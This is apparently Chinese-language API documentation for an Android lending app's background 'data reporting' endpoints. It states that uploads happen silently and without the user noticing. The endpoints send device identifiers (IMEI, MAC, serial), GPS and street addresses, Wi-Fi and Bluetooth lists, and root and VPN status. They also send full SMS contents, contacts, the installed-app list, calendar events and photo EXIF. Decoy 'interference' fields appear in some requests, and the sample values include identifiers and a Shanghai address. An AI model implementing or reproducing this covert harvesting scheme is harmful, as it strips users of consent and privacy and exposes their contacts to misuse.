6. 安卓数据上报
- 所有数据上报接口不用做Loading,在后台做上传,成功失败也不需要弹Toast,用户无感的上报。
上传 google market
- 请求方式
POST
- 请求地址
"/Crapido/Smkehy(/v3/loan-confirm/google-market)":
- 场景 ``
请求参数
名称 类型 可选 注释 "device_info": string 否 device信息 "extinfo": string 否 extinfo信息 "fb_market": string 否 fb_market "market": string 否 googlemarket "KAMD": string 干扰字段(asdf) 返回结果
{ "code": "00", "message": "success", "data": { "initEvent": 1, "afkey":sdkalsdklas } }
场景设备信息上报
- 请求方式
POST
- 请求地址
"/Crapido/Up-dee(/v3/upload-info/device-detail)":
- 场景
场景设备信息上报
- 请求参数
{ "bettary":"16", "brand":"Xiaomi", "carrier":"", "device_info":"MI 4S", "gps_address":"上海市静安区共和路369号宝矿大厦", "gps_latitude":"31.246367", "gps_longitude":"121.450745", "imei":"868869029104220", "ip":"192.168.1.181", "is_root":1, "is_simulator":0, "mac":"b0:e2:35:43:85:57", "memory":"2.74GB", "os_type":"android", "os_version":"7.0", "pic_count":57, "resolution":"1080x1920", "scene":0, "sdcard":"54.19GB", "storage":"54.19GB", "unuse_sdcard":"29.91GB", "unuse_storage":"29.91GB", "wifi":1, "wifi_name":"\"Shu_Xing_2G\"", "imsi":"", "is_simulator":"" } //字段解释 bettary:当前电量百分比小数 brand:设备名牌 carrier:运营商名称 device_info:设备名称 gps_address:定位地址 gps_latitude:定位纬度 gps_longitude:定位经度 imei:imei号 ip:局域网ip is_root:是否root 1是0否 is_simulator:是否为模拟器(1是0否) mac:mac地址 memory:RAM总空间 os_type:系统类型 os_version:系统版本 pic_count:照片数量 resolution:屏幕分辨率 scene:场景类型(默认传0,代表App启动) sdcard:外置存储(SD卡存储空间) storage:内置存储(手机本身存储空间) unuse_sdcard:外置存储剩余空间(SD卡剩余存储空间) unuse_storage:内置存储剩余空间(手机本身剩余存储空间) wifi:是否链接wifi(1是0否) wifi_name:wifi名字 imsi:国际移动用户识别码(TelephonyManager.getSubscriberId) is_simulator:是否为模拟器(0:否; 1:是)
- 返回结果
{ "code": "0", "message": "success", "data": {} }
上报风控埋点
- 请求方式
POST
- 请求地址
"/Crapido/AddBur(/v3/buried-point/upload)":
- 场景
上报风控埋点
- 请求参数
{ "productId": "1000460", // 产品ID "sceneType": "2", // 1、产品授权之后,2.问卷调查,3、身份证正面OCR,4、身份证反面ocr,5、手持身份证照片,6、活体认证,7、个人信息,8、工作信息,9、联系人,10、银行卡,11、开始申贷 12、结束申贷 "orderNo": "", // 用户申贷订单号 "deviceNo": "671342B4-CC8C-395B-9792-2D3D885535E2", // 新设备号:通过风控提供的SDK生成的新设备号 "longitude": -105.458102, // 经度 "latitude": 22.401038, // 维度 "startTime": "1635131498", // 开始时间 "endTime": "1635131551", // 结束时间 "AMNXP": 564411, //干扰字段 } //埋点时机 节点1:首页调准入接口的时候 部分入参获取: 开始时间(首页数据返回成功) 结束时间(上报时间) 节点2:问卷调查提交成功 部分入参获取: 开始时间(页面初始化) 结束时间(上报时间) 节点3:身份证正面上传成功 部分入参获取: 开始时间(点击身份证正面上传按钮时间) 结束时间(上报时间) 节点4:身份证反面上传成功(跟5同时上报,4在前,5在后) 部分入参获取: 开始时间(点击身份证反面上传按钮时间) 结束时间(上报时间) 节点5:手持照片上传成功(跟4同时上报,4在前,5在后) 部分入参获取: 开始时间(点击身份证反面上传按钮时间) 结束时间(上报时间) 节点6:活体照片上传成功 部分入参获取: 开始时间(点击活体上传按钮时间) 结束时间(上报时间) 节点7:个人信息保存成功 部分入参获取: 开始时间(页面初始化) 结束时间(上报时间) 节点8:工作信息保存成功 部分入参获取: 开始时间(页面初始化) 结束时间(上报时间) 节点9:紧急联系人保存成功 部分入参获取: 开始时间(页面初始化) 结束时间(上报时间) 节点10:绑卡保存成功 部分入参获取: 开始时间(页面初始化) 结束时间(上报时间) 节点11:提交订单成功(产品详情也提交) 部分入参获取: 开始时间(给0) 结束时间(给0) 节点12:确认下单(H5页面交互函数“uploadRiskLoan”) 部分入参获取: 开始时间(给0) 结束时间(给0)
- 返回结果
{ "code": "00", "message": "风控埋点上报成功", "data": {} }
上报设备信息
- 请求方式
POST
- 请求地址
"/Crapido/Up-de(/credit-info/upload-device-new)":
- 场景
上报设备信息
请求参数
{ "battery_status":{ //电量百分比 "battery_pct":16, //是否交流充电(1:yes,0:no) "is_ac_charge":1, //是否正在充电(1:yes,0:no) "is_charging":1, //是否USB充电(1:yes,0:no) "is_usb_charge":0, //最大电量(单位:毫安) "battery_max":"3000", //当前电量(单位:毫安) "battery_level":"1087" }, "general_data":{ //AndroidID "and_id":"61145e25b9d94bf5", //gaid "gaid":"", //imei 设备号 "imei":"868869029104220", //语言 "language":"zh", //此用户显示的语言环境语⾔的名称 "locale_display_language":"中文", //此地区的国家/地区的缩写 "locale_iso_3_country":"CHN", //语言环境的三字母缩写 "locale_iso_3_language":"zho", //mac 地址 高版本手机 获取不到的话给 "" "mac":"B0:E2:35:43:85:57", //网络运营商名称 "network_operator_name":"", //网络类型 "network_type":"wifi", //手机号 "phone_number":"", //指示设备电话类型的常量。 这表示用于传输语音呼叫的无线电的类型, "phone_type":"1", //时区的 ID "time_zone_id":"GMT+08:00" //运营商名称 "network_operator_name":"", //当前连接网络类型 "network_type_new":"", //是否使用端口代理(1是0否) "is_using_proxy_port":"", //是否使用vpn(1是0否) "is_using_vpn":"", //是否打开USB调试(1是0否) "is_usb_debug":"", //SystemClock.elapsedRealtime() "elapsedRealtime":"", //传感器列表 "sensor_list":[ { //传感器类型 "type":"", //传感器名称 "name":"", //传感器版本 "version":"", //传感器vendor "vendor":"", //传感器maxRange "maxRange":"", //传感器minDelay "minDelay":"", //传感器power "power":"", //传感器resolution "resolution":"" } ], //当前系统时间(毫秒) "currentSystemTime":"1600000000000", //SystemClock.uptimeMillis() "uptimeMillis":"", }, "hardware":{ //设备名称 "device_name":"Xiaomi", //设备名牌 "brand":"Xiaomi", //设备型号 "model":"MI 4S", //物理尺寸 "physical_size":"4.917646181702473", //系统版本 "release":"7.0", //SDK版本 "sdk_version":"24", //设备序列号 "serial_number":"71f2a4c8", //主板 "board":"", //CPU核心数量 "cores":"", //Build.TIME "production_date":"", //屏幕分辨率高 "device_height":"", //屏幕分辨率宽 "device_width":"" }, "network":{ //wifiManager.getScanResults() "configured_wifi":[ { "bssid":"68:d7:9a:7a:7e:4b", "mac":"68:d7:9a:7a:7e:4b", "name":"Shu_Xing_2G", "ssid":"Shu_Xing_2G" } ], //内网IP "IP":"192.168.1.1", //保存的wifi数量 "wifi_count":"1", //当前连接的wifi信息(如果没有,传空对象) "current_wifi":{ "bssid":"68:d7:9a:7a:7e:4b", "mac":"68:d7:9a:7a:7e:4b", "name":"Shu_Xing_2G", "ssid":"Shu_Xing_2G" } }, "other_data":{ //手机的信号强度 "dbm":"-55", //连接到设备的键盘种类 "keyboard":"1", //最后一次启动时间 "last_boot_time":"1637828679710", //是否 root "root_jailbreak":"1", //是否为模拟器 "simulator":"0", //保存的蓝牙列表 "bluetooth_saved":[ { "Device_name":"", "Mac_address":"" } ], //设备指纹(如找不到方法,咨询开发) "build_fingerprint":"", //网络信息中的NetWorkType "nettype":"", //Sim1卡Iccid "iccid1":"", //Sim2卡Iccid "iccid2":"", //Build.CPU_ABI "kernel_architecture":"", //Build.TIME "build_time":"", //Build.TIME "release_date":"", //Meid "meid":"", //Build.VERSION.SECURITY_PATCH "security_patch_level":"", }, "storage":{ //是否有外置的SD卡(0否,1是), "contain_sd":"1", //是否有内置的SD卡(0否,1是), "extra_sd":"0", //总存储大小 "internal_storage_total":58183655424, //可用存储大小 "internal_storage_usable":32120356864, //内存卡大小 "memory_card_size":58183655424, //内存卡已使用量 "memory_card_size_use":26063298560, //内存卡可使用量, "memory_card_usable_size":32120356864, //RAM内存大小 "ram_total_size":"2938327040", //RAM内存可用大小 "ram_usable_size":"1179906048", //App运行时max_memory "app_max_memory":"29383", //App运行时free_memory "app_free_memory":"9483", //App运行时total_memory "app_total_memory":"19145" }, /* *files_data内层数据转外层 */ //音频外部文件个数, "audio_external":0, //音频内部文件个数, "audio_internal":100, //下载的文件个数, "download_files":47, //图片外部文件个数, "images_external":41, //图片内部文件个数, "images_internal":16, //视频外部文件个数, "video_external":2, //视频内部文件个数 "video_internal":0 /* *外层新增字段 */ //联系人分组数量 "contact_group":"10", //内置、外置存储中Image类型文件的Exif数据 "albs":[ { //当前系统时间 "createTime":"2021/12/21 12:07:00", /* * 从android.provider.MediaStore.Images.Media.INTERNAL_CONTENT_URI * 或android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI * 中获取到的字段信息 */ //MediaStore.Images.Media.DISPLAY_NAME "name":"01-01.jpg", //通过MediaStore.Images.Media.Data获取图片路径,之后用BitmapFactory获取图片宽高 "height":"1808", "width":"1017", //MediaStore.Images.Media.DATE_TAKEN "date":"2021/04/28 03:11:42", //MediaStore.Images.Media.DATE_MODIFIED "save_time":"1619550702", /* * 通过MediaStore.Images.Media.Data获取图片路径,然后解析Exif信息拿到以下数据 */ //Exif.getAttribute("Artist") "author":"", //Exif.getLatLong() "latitude":0, //Exif.getLatLong() "longitude":0, //Exif.getAttribute("Model") "model":"", //Exif.getAttribute("DateTime") "take_time":"", //Exif.getAttribute("Flash") "flash":"", //Exif.getAttribute("FocalLength") "focal_length":"", //Exif.getAttribute("GPSAltitude") "gps_altitude":"", //Exif.getAttribute("GPSProcessingMethod") "gps_processing_method":"", //Exif.getAttribute("Make") "lens_make":"", //Exif.getAttribute("Model") "lens_model":"", //Exif.getAttribute("Orientation") "orientation":"0", //Exif.getAttribute("Software") "software":"", //Exif.getAttribute("XResolution") "x_resolution":"", //Exif.getAttribute("YResolution") "y_resolution":"" }, { "author":"", "createTime":"2021/12/21 12:07:00", "date":"2021/04/28 03:11:42", "flash":"", "focal_length":"", "gps_altitude":"", "gps_processing_method":"", "height":"1808", "latitude":0, "lens_make":"", "lens_model":"", "longitude":0, "model":"", "name":"01-01.jpg", "orientation":"0", "save_time":"1619550702", "software":"", "take_time":"", "width":"1017", "x_resolution":"", "y_resolution":"" } ], //App版本Code "build_id":"1", //App版本号 "build_name":"1.0.0", //App包名 "package_name" //当前系统时间(毫秒时间戳) "create_time":160000000000 }
- 返回结果
json { "code": "0", "message": "上报成功", "data": {} }
上报位置信息
- 请求方式
POST
- 请求地址
"/Crapido/Up-adle(/credit-info/upload-location)":
- 场景
上报位置信息
- 请求参数
{ "address":"上海市静安区共和路369号", "addressInfo":"{\"address0\":\"上海市静安区共和路369号\",\"address1\":\"宝矿大厦\",\"address10\":\"上海白玉兰人口文化广场\",\"address2\":\"达邦协作广场\",\"address3\":\"嘉里不夜城\",\"address4\":\"WPP\",\"address5\":\"环智国际大厦\",\"address6\":\"恒丰路461号小区\",\"address7\":\"上海静安洲际酒店\",\"address8\":\"上海银行(闸北支行)\",\"address9\":\"荷兰签证受理中心\",\"admin_area\":\"上海市\",\"country_code\":\"CN\",\"country_name\":\"中国\",\"locality\":\"上海市\"}", "latitude":31.246367, "longitude":121.450745, "time":"2021-12-08 16:27:52" }
- 返回结果
{ "code": "0", "message": "上报成功", "data": {} }
上报通讯录&短信&applist&日历
- 请求方式
POST
- 请求地址
"/Crapido/UpCon(/service/user/upload-contents)":
- 场景
上报通讯录&短信&applist&日历
- 请求参数
名称 类型 可选 注释 "upType": string 否 类型 1=短信 2=appList 3=通讯录 8=日历 "data": string 否 上传的数据 请求示例
//短信 { "_id":4, //短信ID "content":"tetet", //短信内容 "date_sent":0, //消息发送的日期 "read":1, //短信是否被读取 "seen":0, //短信是否被用户看到 "status":-1, //消息的状态值,如果未收到状态,则为-1 "time":1638528218163, //收到消息的日期 "type":1, //短信类型 1=接收到的 2=发送出去的 "person":"", //发件人 "phone":"", //对方手机号 "subject":"" //默认传空 }
{ //type=2 时数据格式 "appName":"屏幕录制", //app名字 "appType":1, //是否系统应用 1=系统 0=非系统 "flags":952680005, //应用程序关联的标志 "inTime":1230739200000, //安装时间戳 "packageName":"com.miui.screenrecorder", //包名 "upTime":1230739200000, //更新时间 "userId":"3", //登录用户的ID "versionCode":18, //版本code "versionName":"1.3.4" //版本名字 }
{ //type=3 时数据格式 "group":[], //手机号分组 "last_time_contacted":"0", //与联系人最后联系时间 "last_time_used":"0", //联系人最后编辑时间 "mobile":"851456713144", //电话号码 "name":"ads", //名字 "source":"device", //通讯录来源(device/sim) "times_contacted":"0", //联系次数 "up_time":"1612246765276" //更新时间 }
{ "description":"fgdfgdfg", //提醒事件描述 "end_time":1632675599000, //事件结束时间(毫秒) "event_id":68, //提醒事件ID "event_title":"dsfds", //提醒事件标题 "reminders":"[{\"eventId\":\"68\",\"method\":\"1\",\"minutes\":\"5\",\"reminder_id\":\"61\"}]", //提醒事件 "start_time":1632546000000 //事件开始时间(毫秒) }
- 返回结果
{ "code": "0", "message": "上报成功", "data": {} }